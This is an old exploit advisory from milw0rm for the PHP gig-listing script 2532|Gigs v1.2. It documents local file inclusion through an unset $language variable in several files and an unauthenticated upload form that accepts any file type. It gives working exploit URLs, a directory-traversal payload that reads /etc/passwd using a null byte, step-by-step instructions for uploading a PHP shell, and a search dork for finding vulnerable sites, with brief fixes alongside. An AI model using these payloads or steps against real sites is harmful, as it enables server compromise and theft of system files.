[START]

#########################################################################################
[0x01] Informations:

Script         : 2532|Gigs v1.2 Stable
Download       : http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
Dork           : Powered by 2532|Gigs v1.2.2
Vulnerability  : Local File Inclusion / Remote File Upload
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


#########################################################################################
[0x02] Bug: [Multiple Local File Inclusions]
######

Bugged file is: /[path]/settings.php
Bugged file is: /[path]/deleteuser.php
Bugged file is: /[path]/mini_calendar.php
Bugged file is: /[path]/manage_venues.php
Bugged file is: /[path]/manage_gigs.php

* There are a lot of other files vulnerable to LFI !

[CODE]

<?php
/*
2532|Gigs v1.1
www.2532gigs.com
./settings.php
*/

  // Load the settings.php language file
  include_once("languages/$language/settings.php");

[/CODE]

settings.php page starts in this way. Includes a non declarate variable -> $language

[!] FIX: Declare $language var.


[!] EXPLOIT: /[path]/settings.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/deleteuser.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/mini_calendar?language=[local_file_to_include]
[!] EXPLOIT: /[path]/manage_venues.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/manage_gigs.php?language=[local_file_to_include]
                                           ../../../../../../../../../../etc/passwd%00


#########################################################################################
[0x03] Bug: [Remote File Upload]
######

Bugged file is: /[path]/upload_flyer.php

[CODE]

if (isset($_POST['submitflyer']))
   {
   if (strlen($_FILES['banner']['name']) > 0)
{
$target = "flyers/".$_FILES['banner']['name'];
move_uploaded_file($_FILES['banner']['tmp_name'], $target);

// Other code, like it cheeks if /[path]/flyers dir is writable or not !

[/CODE]

As we can see, everyone can upload everything that he wants. There is not login required,
and there isn't a cheek for the extension of the file that is going to be uploaded.
So, an unregistered user can upload a file of any extension, like a .php file. Why not
a php shell ?

[!] FIX: Before the upload script, just cheek if the user is registered, and then allow him
         only to upload .gif/jpg or the extension you want, not .php or other extensions !


[!] EXPLOIT:
             1) Go to: /path/upload_flyer.php
             2) Select your local file to upload
             3) Press submit button
             4) Cheek your file at: /[path]/flyers/your_local_file.your_extension


#########################################################################################

[/END]

# milw0rm.com [2008-12-18]